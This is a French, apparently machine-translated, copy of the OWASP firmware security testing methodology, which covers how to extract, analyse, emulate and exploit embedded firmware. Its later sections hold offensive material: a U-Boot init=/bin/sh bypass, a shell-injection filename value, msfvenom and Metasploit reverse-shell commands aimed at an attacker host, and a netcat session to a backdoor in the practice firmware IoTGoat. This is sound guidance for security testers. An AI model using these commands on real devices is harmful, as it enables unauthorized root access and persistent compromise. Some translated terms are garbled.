owasp fstm
1.0.0
| description |
|---|
FSTM est composé de neuf étapes conçues pour permettre aux chercheurs en sécurité, aux développeurs de logiciels, aux amateurs et aux professionnels de la sécurité de l'information de réaliser des évaluations de la sécurité des micrologiciels. |
Qu'il soit connecté au réseau ou autonome, le micrologiciel est au centre du contrôle de tout appareil embarqué. Il est donc crucial de comprendre comment les micrologiciels peuvent être manipulés pour exécuter des fonctions non autorisées et potentiellement paralyser la sécurité de l'écosystème sous-jacent. Pour commencer à effectuer des tests de sécurité et de l'ingénierie inverse du micrologiciel, utilisez la méthodologie suivante comme guide lorsque vous vous lancez dans une évaluation à venir. La méthodologie est composée de neuf étapes conçues pour permettre aux chercheurs en sécurité, aux développeurs de logiciels, aux consultants, aux amateurs et aux professionnels de la sécurité de l'information de mener des évaluations de la sécurité des micrologiciels.
| Scène | Description |
|---|---|
| 1. Collecte d’informations et reconnaissance | Acquérir tous les détails techniques et de documentation relatifs au micrologiciel de l'appareil cible |
| 2. Obtention du micrologiciel | Obtenez le micrologiciel en utilisant une ou plusieurs des méthodes proposées répertoriées |
| 3. Analyse du micrologiciel | Examiner les caractéristiques du firmware cible |
| 4. Extraction du système de fichiers | Carve le contenu du système de fichiers à partir du micrologiciel cible |
| 5. Analyser le contenu du système de fichiers | Analyser statiquement les fichiers de configuration et les binaires du système de fichiers extraits pour détecter les vulnérabilités |
| 6. Émulation du firmware | Émuler les fichiers et composants du micrologiciel |
| 7. Analyse dynamique | Effectuer des tests de sécurité dynamiques sur les micrologiciels et les interfaces d'application |
| 8. Analyse du temps d'exécution | Analyser les binaires compilés pendant l'exécution de l'appareil |
| 9. Exploitation binaire | Exploiter les vulnérabilités identifiées découvertes lors des étapes précédentes pour atteindre l'exécution racine et/ou du code |
Les sections suivantes détailleront plus en détail chaque étape avec des exemples à l’appui, le cas échéant. Pensez à visiter la page du projet OWASP Internet of Things et le référentiel GitHub pour les dernières mises à jour de la méthodologie et les prochaines versions du projet.
Une machine virtuelle Ubuntu préconfigurée (EmbedOS) avec les outils de test du micrologiciel utilisés dans ce document peut être téléchargée via le lien suivant. Les détails concernant les outils d'EmbedOS peuvent être trouvés sur GitHub dans le référentiel suivant https://github.com/scriptingxss/EmbedOS.
Au cours de cette étape, collectez autant d’informations que possible sur la cible pour comprendre sa composition globale sous-jacente à la technologie. Essayez de rassembler les éléments suivants :
Les informations énumérées ci-dessus doivent être recueillies avant le travail sur le terrain des tests de sécurité via un questionnaire ou un formulaire d'admission. Assurez-vous de tirer parti des équipes internes de développement de gammes de produits pour acquérir des données précises et à jour. Comprenez les contrôles de sécurité appliqués ainsi que les éléments de la feuille de route, les problèmes de sécurité connus et les risques les plus préoccupants. Si nécessaire, planifiez un suivi approfondi sur les fonctionnalités particulières en question. Les évaluations sont plus efficaces dans un environnement collaboratif.
Dans la mesure du possible, acquérez des données à l’aide d’outils et de techniques de renseignement open source (OSINT). Si un logiciel open source est utilisé, téléchargez le référentiel et effectuez une analyse statique manuelle et automatisée par rapport à la base de code. Parfois, les projets de logiciels open source utilisent déjà des outils d'analyse statique gratuits fournis par des fournisseurs qui fournissent des résultats d'analyse, tels que Coverity Scan et LGTM de Semmle. Par exemple, les captures d'écran ci-dessous montrent des extraits des résultats de l'analyse de couverture de Das U-Boot.
Figure : Analyse de couverture U-Boot
Figure : Analyse de l'analyse de couverture U-Boot
Vous trouverez ci-dessous des captures d'écran des résultats Dropbear de l'analyse de LGTM.
Figure : Alertes LGTM Dropbear
Figure : Résultats du LGTM Dropbear
Avec les informations disponibles, un léger exercice de modélisation des menaces doit être effectué, cartographiant les surfaces d’attaque et les zones d’impact qui présentent le plus de valeur en cas de compromission.
Pour commencer à examiner le contenu du micrologiciel, le fichier image du micrologiciel doit être acquis. Essayez d'obtenir le contenu du micrologiciel en utilisant une ou plusieurs des méthodes suivantes :
*Remarque : veillez à respecter les lois et réglementations locales lors du téléchargement de données à partir des services de stockage d'un fournisseur de cloud exposé.
Chacune des méthodes répertoriées varie en difficulté et ne doit pas être considérée comme une liste exhaustive. Sélectionnez la méthode appropriée en fonction des objectifs du projet et des règles d’engagement. Si possible, demandez à la fois une version de débogage et une version de version du micrologiciel afin de maximiser les cas d'utilisation de la couverture de test dans le cas où le code ou la fonctionnalité de débogage est compilé dans une version.
Une fois l'image du firmware obtenue, explorez les aspects du fichier pour identifier ses caractéristiques. Utilisez les étapes suivantes pour analyser les types de fichiers du micrologiciel, les métadonnées potentielles du système de fichiers racine et mieux comprendre la plate-forme pour laquelle il est compilé.
Tirez parti des utilitaires tels que :
file <bin>
strings
strings -n5 <bin>
strings -n16 <bin>#longer than 16
strings -tx <bin> #print offsets in hex
binwalk <bin>
hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head # might find signatures in header
fdisk -lu <bin> #lists a drives partition and filesystems if multiple
Si aucune des méthodes ci-dessus ne fournit de données utiles, les opérations suivantes sont possibles :
Si le binaire peut être chiffré, vérifiez l'entropie à l'aide de binwalk avec la commande suivante :
$ binwalk -E <bin>
Faible entropie = Peu susceptible d'être chiffré
Entropie élevée = C'est probablement crypté (ou compressé d'une manière ou d'une autre).
Des outils alternatifs sont également disponibles en utilisant Binvis en ligne et l'application autonome.
Cette étape consiste à examiner l'intérieur du micrologiciel et à analyser les données relatives du système de fichiers pour commencer à identifier autant de problèmes de sécurité potentiels que possible. Utilisez les étapes suivantes pour extraire le contenu du micrologiciel afin d'examiner le code non compilé et les configurations de périphérique utilisées dans les étapes suivantes. Les méthodes d’extraction automatisées et manuelles sont présentées ci-dessous.
$ binwalk -ev <bin>
Les fichiers seront extraits dans " _binaryname/filesystemtype/ "
Types de systèmes de fichiers : squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs
2a. Parfois, binwalk n'aura pas l'octet magique du système de fichiers dans ses signatures. Dans ces cas, utilisez binwalk pour trouver le décalage du système de fichiers, découper le système de fichiers compressé à partir du binaire et extraire manuellement le système de fichiers en fonction de son type en suivant les étapes ci-dessous.
$ binwalk DIR850L_REVB.bin
DECIMAL HEXADECIMAL DESCRIPTION
----------------------------------------------------------------------------- ---
0 0x0 DLOB firmware header, boot partition: """"dev=/dev/mtdblock/1""""
10380 0x288C LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5213748 bytes
1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes
1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41
2b. Exécutez la commande dd suivante en découpant le système de fichiers Squashfs.
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
8257536+0 records in
8257536+0 records out
8257536 bytes (8.3 MB, 7.9 MiB) copied, 12.5777 s, 657 kB/s
Alternativement, la commande suivante peut également être exécutée.
$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs
2c. Pour les courges (utilisées dans l'exemple ci-dessus)
$ unsquashfs dir.squashfs
Les fichiers seront ensuite dans le répertoire " squashfs-root ".
2d. Fichiers d'archives CPIO
$ cpio -ivd --no-absolute-filenames -F <bin>
2f. Pour les systèmes de fichiers jffs2
$ jefferson rootfsfile.jffs2
2d. Pour les systèmes de fichiers ubifs avec flash NAND
$ ubireader_extract_images -u UBI -s <start_offset> <bin>
$ ubidump.py <bin>
Au cours de cette étape, des indices sont collectés pour les étapes d'analyse dynamique et d'exécution. Vérifiez si le micrologiciel cible contient les éléments suivants (non exhaustif) :
Analysez manuellement de manière statique le contenu du système de fichiers et le code non compilé ou utilisez des outils d'automatisation tels que Firmwalker qui analysent les éléments suivants :
Les sous-sections suivantes présentent les outils d'analyse automatisée du micrologiciel open source.
Exécutez Firmwalker dans son répertoire dans ~/tools/firmwalker et pointez Firmwalker vers le chemin absolu du répertoire racine du système de fichiers extrait. Firmwalker utilise les informations du répertoire "/data/" pour analyser les règles. Un fork personnalisé modifié par Aaron Guzman avec des vérifications supplémentaires peut être trouvé sur GitHub à l'adresse https://github.com/scriptingxss/firmwalker. Les exemples suivants montrent l'utilisation de Firmwalker utilisé sur IoTGoat d'OWASP. Des projets de micrologiciels vulnérables supplémentaires sont répertoriés dans la section Micrologiciels vulnérables à la fin du document.
$ ./firmwalker.sh /home/embedos/firmware/ _IoTGoat-rpi-2.img.extracted/squashfs-root/
Voir la sortie de Firmwalker ci-dessous.
Deux fichiers seront générés, firmwalker.txt et firmwalkerappsec.txt. Ces fichiers de sortie doivent être examinés manuellement.
Heureusement, plusieurs outils d’analyse automatisée du micrologiciel open source sont disponibles. Les fonctionnalités FACT incluent les éléments suivants :
Identification des composants logiciels tels que le système d'exploitation, l'architecture du processeur et les composants tiers ainsi que les informations de version associées
Extraction du ou des systèmes de fichiers du firmware à partir d'images
Détection des certificats et des clés privées
Détection des implémentations faibles mappées à l'énumération des faiblesses communes (CWE)
Détection des vulnérabilités basée sur les flux et les signatures
Analyse comportementale statique de base
Comparaison (diff) des versions de firmware et des fichiers
Émulation en mode utilisateur des binaires du système de fichiers à l'aide de QEMU
Détection des atténuations binaires telles que NX, DEP, ASLR, Stack Canaries, RELRO et FORTIFY_SOURCE
API REST
et plus encore...
Vous trouverez ci-dessous des instructions pour utiliser la boîte à outils de comparaison d’analyse de micrologiciel dans la machine virtuelle préconfigurée associée.
Astuce : Il est recommandé d'exécuter FACT avec un ordinateur doté de 16 cœurs et de 64 Go de RAM, bien que l'outil puisse fonctionner avec un minimum de 4 cœurs et 8 Go de RAM à un rythme beaucoup plus lent. Les résultats de l'analyse varient en fonction des ressources allouées à la machine virtuelle. Plus il y a de ressources, plus FACT terminera rapidement les soumissions d’analyses.
$ cd ~/tools/FACT_core/
$ sudo ./start_all_installed_fact_components
Accédez à http://127.0.0.1:5000 dans le navigateur
Figure : Tableau de bord FACT
Téléchargez les composants du micrologiciel sur FACT pour analyse. Dans la capture d'écran ci-dessous, le firmware complet compressé avec son système de fichiers racine sera téléchargé et analysé.
Figure : Téléchargement de FACT
En fonction des ressources matérielles fournies à FACT, les résultats de l'analyse apparaîtront avec ses résultats d'analyse à un moment donné. Ce processus peut prendre des heures si des ressources minimales sont allouées.
Figure : FAIT IoTChèvre
Figure : Résultats de l'atténuation des exploits FACT IoTGoat
Démontez les binaires cibles suspects avec les données collectées à partir de FACT à l'aide d'IDA Pro, Ghidra, Hopper, Capstone ou Binary Ninja. Analysez les binaires pour détecter les appels système potentiels d'exécution de code à distance, les chaînes, les listes de fonctions, les vulnérabilités de corruption de mémoire et identifiez les Xrefs vers system() ou les appels de fonction similaires. Notez les vulnérabilités potentielles à utiliser pour les étapes à venir.
La capture d'écran suivante montre le binaire « shellback » démonté à l'aide de Ghidra.
Figure : Analyse du Shellback Ghidra
L'analyse binaire courante consiste à examiner les éléments suivants :
$ readelf -aW bin/*| grep stack_chk_fail$ mips-buildroot-linux-uclibc-objdump -d bin/binary | grep stack_chk_fail$ readelf -h <bin> | grep -q 'Type:[[:space:]]*EXEC'$ readelf -h <bin> | grep 'Type:[[:space:]]*DYN'$ readelf -d <bin> | grep -q 'DEBUG'$ readelf --syms <bin>$ nm <bin>-el spécifie les caractères petit-boutiste d'une largeur de 16 bits (par exemple UTF-16).-eb pour big endian-t renverra le décalage de la chaîne dans le fichier.-tx le renverra au format hexadécimal, T-to en octal et -td en décimal.strings -n5 <bin>strings -el <bin>strings -n16 <bin>strings -tx <bin>$ readelf -lW bin/<bin>| grep STACK GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4
Le 'E' indique que la pile est exécutable.
$ execstack bin/*
X bin/ash
X bin/busybox
$ readelf -d binary | grep BIND_NOW$ readelf -d binary | grep GNU_RELROUn script qui automatise la vérification de plusieurs des propriétés binaires ci-dessus est checksec.sh. Vous trouverez ci-dessous deux exemples d'utilisation du script.
> ./checksec --file=/home/embedos/firmware/_IoTGoat-x86-generic-combined-squashfs.img.extracted/squashfs-root/bin/busybox
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No Symbols No 0 0 /home/embedos/firmware/_IoTGoat-x86-generic-combined-squashfs.img.extracted/squashfs-root/bin/busybox
> ./checksec --file=/home/embedos/firmware/_IoTGoat-x86-generic-combined-squashfs.img.extracted/squashfs-root/usr/bin/shellback
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No Symbols No 0 0 /home/embedos/firmware/_IoTGoat-x86-generic-combined-squashfs.img.extracted/squashfs-root/usr/bin/shellback
Figure : Checksec.sh
Pour les binaires Microsoft (EXE et DLL), utilisez PESecurity pour vérifier ASLR, DEP, SafeSEH, StrongNaming, Authenticode, Control Flow Guard et HighEntropyVA.
EMBA est conçu comme un outil d'analyse de micrologiciel de base pour les testeurs d'intrusion. Il prend en charge le processus complet d'analyse de sécurité, en commençant par l' extraction du micrologiciel , l'analyse statique et l'analyse dynamique via l'émulation jusqu'à la génération d'un rapport Web pour une analyse plus approfondie. Lancé avec une seule commande, EMBA découvre automatiquement les points faibles et les vulnérabilités potentielles du micrologiciel testé, telles que les binaires non sécurisés, les composants logiciels anciens et obsolètes, les scripts potentiellement vulnérables ou les mots de passe codés en dur.
Les fonctionnalités d'EMBA sont les suivantes :
EMBA utilise plusieurs autres outils en arrière-plan. Les ressources système nécessaires dépendent beaucoup du firmware que vous allez analyser. Habituellement, EMBA fonctionne assez bien dans l'environnement suivant :
Pour installer l'environnement nécessaire, vous devez exécuter le script d'installation avec les autorisations root :
sudo ./installer.sh -d Vous devez utiliser le commutateur -d avec le programme d'installation pour exécuter une installation typique. Cela installera les dépendances nécessaires (par exemple cve-search) sur l'hôte et téléchargera l'image docker EMBA . Nous vous recommandons de l'utiliser pour l'installation initiale.
Une fois le processus d'installation terminé, il est possible d'utiliser EMBA pour l'analyse de la sécurité du micrologiciel à partir de la ligne de commande. Avant de démarrer EMBA, veuillez télécharger un firmware de test tel que le firmware OWASP IoTGoat. La commande suivante montre une commande EMBA typique :
sudo ./emba.sh -f ~ /IoTGoat-x86.img.gz -l ~ /emba_logs_iotgoat -p ./scan-profiles/default-scan.embaLa commande affichée configure les options de base suivantes :
D'autres options sont disponibles et peuvent être consultées via ./emba.sh -h
La première étape de chaque test de micrologiciel est un contrôle de santé de l'installation actuelle :
Une fois le contrôle de santé réussi, le processus d'analyse commence par l'identification et l'extraction du micrologiciel configuré :
Lors du test du firmware, tous les résultats et l'état actuel sont affichés en direct dans le terminal. Comme une analyse typique s'exécutera en mode threadé ( paramètre -t ), cette sortie sera tronquée et pas très facile à lire. Pour une analyse plus approfondie, il est recommandé d'utiliser les fichiers journaux générés sous forme de texte dans le répertoire des journaux et le rapport Web ( paramètre -W ). Une fois l'analyse du firmware terminée, EMBA affiche un résumé des résultats dans le terminal :
D'autres résultats sont disponibles dans le répertoire des journaux et peuvent être analysés sur la ligne de commande ou via le navigateur Web :
firefox ~ /emba_logs_iotgoat/html-report/index.html
Le rapport HTML généré est autonome et peut être partagé facilement. De plus, ce rapport est entièrement interactif et il est possible d'accéder à tous les détails des tests via le tableau de bord récapitulatif agrégé.
De plus amples détails sont disponibles sur le référentiel git officiel d'EMBA .
EMBArk est l'interface d'entreprise Web pour le scanner de sécurité du micrologiciel EMBA . Il est développé pour fournir l'analyseur de sécurité du micrologiciel EMBA en tant que service conteneurisé et pour faciliter l'accès au backend d'analyse du micrologiciel EMBA, quels que soient le système et le système d'exploitation.
De plus, EMBArk améliore la mise à disposition des données en agrégeant les différents résultats d'analyse dans un tableau de bord de gestion agrégé.
Sur la page de détails de toutes les analyses, vous pouvez accéder au rapport détaillé d'une analyse du micrologiciel, lancer d'autres tests et télécharger les journaux d'analyse :
Plus de détails avec les principaux résultats de chaque test de firmware sont disponibles dans le rapport détaillé :
Plus d'informations sont disponibles sur le référentiel git officiel d'EMBArk .
Remarque : EMBArk en est à ses premiers stades de développement.
À l'aide des détails et des indices identifiés lors des étapes précédentes, le micrologiciel ainsi que ses binaires encapsulés doivent être émulés pour vérifier les vulnérabilités potentielles. Pour réaliser l’émulation du micrologiciel, plusieurs approches sont répertoriées ci-dessous.
/usr/bin/shellbackPour commencer à émuler partiellement des binaires, l'architecture et le boutisme du processeur doivent être connus pour sélectionner le binaire d'émulation QEMU approprié dans les étapes suivantes.
$ binwalk -Y <bin>
$ readelf -h <bin>
el - petit endian
eb - gros endian
Binwalk peut être utilisé pour identifier l'endianité des binaires du micrologiciel packagés (et non des binaires du micrologiciel extrait) à l'aide de la commande ci-dessous.
$ binwalk -Y UPG_ipc8120p-w7-M20-hi3516c-20160328_165229.ov
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
3480 0xD98 ARM executable code, 32-bit, little endian, at least 1154 valid instructions
Une fois l'architecture et l'endianité du processeur identifiés, localisez le binaire QEMU approprié pour effectuer une émulation partielle (pas pour émuler le micrologiciel complet, mais les binaires avec le micrologiciel extrait.)
Généralement, dans :
/usr/local/qemu-arch ou /usr/bin/qemu-arch
Copiez le binaire QEMU applicable dans le système de fichiers racine extrait. La deuxième commande montre la copie du binaire QEMU du bras statique vers le système de fichiers racine extrait dans un shell ZSH affichant le chemin absolu.
> cp /usr/local/qemu-arch /extractedrootFS/
/home/embedos/firmware/_DIR850L_REVB_FW207WWb05_h1ke_beta1.decrypted.extracted/squashfs-root
> cp /usr/bin/qemu-arm-static .
Exécutez le binaire ARM (ou l'arch approprié) pour émuler à l'aide de QEMU et chroot avec la commande suivante :
$ sudo chroot . ./qemu-arch <binarytoemulate>
L'exemple suivant montre Busybox émulé dans une architecture x64 typique qu'une machine attaquante est susceptible d'utiliser.
> sudo chroot . ./qemu-arm-static bin/busybox ls
[sudo] password for embedos:
bin etc overlay rom sys var
dev lib proc root tmp www
dnsmasq_setup.sh mnt qemu-arm-static sbin usr
Vous trouverez ci-dessous un exemple d'émulation d'un service qui écoute sur le port 5515.
> sudo chroot . ./qemu-arm-static usr/bin/shellback
En outre, le même service peut être émulé avec le framework qiling.
> ./qltool run --console False -f ~/_IoTGoat-x86.img.extracted/squashfs-root/usr/bin/shellback --rootfs ~/_IoTGoat-x86.img.extracted/squashfs-root
Dans un autre terminal, vérifiez si le service écoute localement et essayez de vous y connecter avec netcat.
> sudo lsof -i :5515
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
qemu-arm- 13264 root 3u IPv4 662221 0t0 TCP *:5515 (LISTEN)
> nc -nv 127.0.0.1 5515
Connection to 127.0.0.1 5515 port [tcp/*] succeeded!
[***]Successfully Connected to IoTGoat's Backdoor[***]
Parfois, les requêtes sont envoyées au binaire CGI par le serveur HTTP. En émulant simplement le binaire CGI, il est possible d'analyser la procédure du processus ou de vérifier la vulnérabilité sans configurer de serveur HTTP. L'exemple suivant émet une requête GET vers un binaire MIPS CGI.
~/DIR850L/squashfs-root/htdocs/web$ ls -l captcha.cgi
lrwxrwxrwx 1 root root 14 Oct 17 2017 captcha.cgi -> /htdocs/cgibin
# fix the broken symbolic link
~/DIR850L/squashfs-root/htdocs/web$ rm captcha.cgi && ln -s ../cgibin captcha.cgi
~/DIR850L/squashfs-root$ sudo chroot . ./qemu-mips-static -E REQUEST_METHOD="GET" -E REQUEST_URI="/captcha.cgi" -E REMOTE_ADDR="192.168.1.1" -E CONTENT_TYPE="text/html" /htdocs/web/captcha.cgi
HTTP/1.1 200 OK
Content-Type: text/xml
<?xml version="1.0" encoding="utf-8"?><captcha>
<result>FAIL</result><message>NO SESSION</message>
</captcha>
Une fois le binaire cible émulé, interagissez avec son interprète ou son service d'écoute. Fuzzez son application et ses interfaces réseau comme indiqué dans la phase suivante.
Lorsque cela est possible, utilisez des outils d'automatisation tels que Firmadyne, la boîte à outils d'analyse du micrologiciel ou ARM-X Firmware Emulation Framework pour effectuer une émulation complète du micrologiciel. Ces outils sont essentiellement des wrappers pour QEMU et d'autres fonctions environnementales telles que nvram.
À l’aide de la boîte à outils d’analyse du micrologiciel, exécutez simplement la commande suivante :
sudo python3 ./fat.py IoTGoat-rpi-2.img --qemu 2.5.0
__ _
/ _| | |
| |_ __ _ | |_
| _| / _` | | __|
| | | (_| | | |_
|_| __,_| __|
Welcome to the Firmware Analysis Toolkit - v0.3
Offensive IoT Exploitation Training http://bit.do/offensiveiotexploitation
By Attify - https://attify.com | @attifyme
[+] Firmware: IoTGoat-rpi-2.img
[+] Extracting the firmware...
[+] Image ID: 1
[+] Identifying architecture...
[+] Architecture: armel
[+] Building QEMU disk image...
[+] Setting up the network connection, please standby...
[+] Network interfaces: [('eth0', '192.168.1.1')]
[...]
Adding route to 192.168.1.1...
Starting firmware emulation... use Ctrl-a + x to exit
[ 0.000000] Booting Linux on physical CPU 0x0
[ 0.000000] Linux version 4.1.17+ (vagrant@vagrant-ubuntu-trusty-64) (gcc version 5.3.0 (GCC) ) #1 Thu Feb 18 01:05:21 UTC 2016
[ 0.000000] CPU: ARMv7 Processor [412fc0f1] revision 1 (ARMv7), cr=10c5387d
[ 0.000000] CPU: PIPT / VIPT nonaliasing data cache, PIPT instruction cache
BusyBox v1.28.4 () built-in shell (ash)
.--,\__
██████╗ ██╗ ██╗ █████╗ ███████╗██████╗ `-. a`-.__
██╔═══██╗██║ ██║██╔══██╗██╔════╝██╔══██╗ | ')
██║ ██║██║ █╗ ██║███████║███████╗██████╔╝ / _.-'-,`;
██║ ██║██║███╗██║██╔══██║╚════██║██╔═══╝ / | { /
╚██████╔╝╚███╔███╔╝██║ ██║███████║██║ / | { /
╚═════╝ ╚══╝╚══╝ ╚═╝ ╚═╝╚══════╝╚═╝ ..-"``~"-' ; )
╦┌─┐╔╦╗╔═╗┌─┐┌─┐┌┬┐ ;' `
║│ │ ║ ║ ╦│ │├─┤ │ ;' `
╩└─┘ ╩ ╚═╝└─┘┴ ┴ ┴ ;' `
------------------------------------------------------------ ;'
GitHub: https://github.com/OWASP/IoTGoat
------------------------------------------------------------
root@IoTGoat:/#
Remarque : Des modifications de ces outils peuvent être nécessaires si le micrologiciel contient une compression, un système de fichiers ou une architecture non pris en charge inhabituels.
À ce stade, effectuez des tests dynamiques pendant qu'un appareil fonctionne dans son environnement normal ou émulé. Les objectifs de cette étape peuvent varier en fonction du projet et du niveau d'accès accordé. En règle générale, cela implique une falsification des configurations du chargeur de démarrage, des tests Web et API, un fuzzing (services réseau et applications), ainsi qu'une analyse active à l'aide de divers ensembles d'outils pour acquérir un accès élevé (racine) et/ou l'exécution de code.
Les outils qui peuvent être utiles sont (non exhaustifs) :
Référencez les méthodologies Web standard de l'industrie telles que le guide de test de l'OWASP et la norme ASVS (Application Security Verification Standard).
Les domaines spécifiques à examiner dans l'application Web d'un appareil intégré sont les suivants :
En fonction du produit et de ses interfaces d'application, les cas de test diffèrent.
Lorsque vous modifiez le démarrage du périphérique et les chargeurs de démarrage tels que U-boot, essayez ce qui suit :
init=/bin/sh ' à la fin des arguments de démarrage#printenv#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3mtdparts=sflash:<partitiionInfo> rootfstype=<fstype> hasEeprom=0 5srst=0 int=/bin/sh#saveenv#boot#setenv ipaddr 192.168.2.2 #local IP of the device#setenv serverip 192.168.2.1 #tftp server IP#saveenv#reset#ping 192.168.2.1 #check if network access is available#tftp ${loadaddr} uImage-3.6.35 #loadaddr takes two arguments: the address to load the file into and the filename of the image on the TFTP serverubootwrite.py pour écrire l'image uboot et pousser un firmware modifié pour obtenir la racineFILENAME ' avec des commandes d'injection de commandes telles que 'a";/bin/sh;#' pour tester la validation des entrées pour les procédures de démarrage de l'appareil.*Tests de sécurité matérielle
Essayez de télécharger un micrologiciel personnalisé et/ou des fichiers binaires compilés pour détecter des failles d'intégrité ou de vérification de signature. Par exemple, compilez un shell de liaison de porte dérobée qui démarre au démarrage en suivant les étapes suivantes.
Si un shell racine a déjà été obtenu à partir d'une analyse dynamique, d'une manipulation du chargeur de démarrage ou de moyens de test de sécurité matérielle, essayez d'exécuter des binaires malveillants précompilés tels que des implants ou des shells inversés. Envisagez d'utiliser des outils automatisés de charge utile/d'implant utilisés pour les cadres de commande et de contrôle (C&C). Par exemple, le framework Metasploit et « msfvenom » peuvent être exploités en suivant les étapes suivantes.
msfvenom pour spécifier la charge utile cible appropriée (-p), l'adresse IP de l'hôte de l'attaquant (LHOST=), le numéro de port d'écoute (LPORT=), le type de fichier (-f), l'architecture (--arch), la plate-forme (--platform Linux ou Windows) , et le fichier de sortie (-o). Par exemple, msfvenom -p linux/armle/meterpreter_reverse_tcp LHOST=192.168.1.245 LPORT=4445 -f elf -o meterpreter_reverse_tcp --arch armle --platform linuxset payload linux/armle/meterpreter_reverse_tcpset LHOST 192.168.1.245 #attacker host IPset LPORT 445 #can be any unused portset ExitOnSession falseexploit -j -zSi possible, identifiez une vulnérabilité dans les scripts de démarrage pour obtenir un accès persistant à un périphérique lors des redémarrages. De telles vulnérabilités surviennent lorsque les scripts de démarrage font référence, lient symboliquement ou dépendent du code situé dans des emplacements montés non fiables tels que des cartes SD et des volumes flash utilisés pour stocker des données en dehors des systèmes de fichiers racine.
L'analyse du temps d'exécution implique l'attachement à un processus ou un binaire en cours d'exécution pendant qu'un périphérique s'exécute dans son environnement normal ou émulé. Les étapes d'analyse de base de l'exécution sont fournies ci-dessous :
sudo chroot . ./qemu-arch -L <optionalLibPath> -g <gdb_port> <binary>Les outils qui peuvent être utiles sont (non exhaustifs) :
Après avoir identifié une vulnérabilité dans un binaire à partir des étapes précédentes, une preuve de concept (PoC) appropriée est requise pour démontrer l'impact et le risque réels. Le développement de code d'exploitation nécessite une expérience en programmation dans des langages de niveau inférieur (par exemple ASM, C/C++, shellcode, etc.) ainsi qu'une expérience dans l'architecture cible particulière (par exemple MIPS, ARM, x86, etc.). Le code PoC consiste à obtenir une exécution arbitraire sur un appareil ou une application en contrôlant une instruction en mémoire.
Il n'est pas courant que des protections d'exécution binaires (par exemple NX, DEP, ASLR, etc.) soient en place dans les systèmes embarqués. Toutefois, lorsque cela se produit, des techniques supplémentaires peuvent être nécessaires, telles que la programmation orientée retour (ROP). ROP permet à un attaquant d'implémenter des fonctionnalités malveillantes arbitraires en chaînant le code existant dans le code du processus/binaire cible appelé gadgets. Des mesures devront être prises pour exploiter une vulnérabilité identifiée telle qu'un débordement de tampon en formant une chaîne ROP. Un outil qui peut être utile dans de telles situations est le outil de recherche de gadgets de Capstone ou ROPGadget- https://github.com/JonathanSalwan/ROPgadget.
Utilisez les références suivantes pour obtenir des conseils supplémentaires :
Une combinaison d'outils sera utilisée tout au long de l'évaluation du micrologiciel. Vous trouverez ci-dessous les outils couramment utilisés.
Pour vous entraîner à découvrir les vulnérabilités du micrologiciel, utilisez les projets de micrologiciels vulnérables suivants comme point de départ.
Commentaires et contribution
Si vous souhaitez contribuer ou fournir des commentaires pour améliorer cette méthodologie, contactez [email protected] (@scriptingxss). Assurez-vous d'ouvrir un problème ou une pull request, et nous veillerons à y répondre !
Un merci spécial à nos sponsors Cisco Meraki, OWASP Inland Empire et OWASP Los Angeles ainsi qu'à José Alejandro Rivas Vidal pour son examen attentif.
La liste complète des contributeurs peut être trouvée via https://github.com/scriptingxss/owasp-fstm/graphs/contributors.
Licence
Creative Commons Attribution Partage des Conditions Initiales à l'Identique 4.0 International
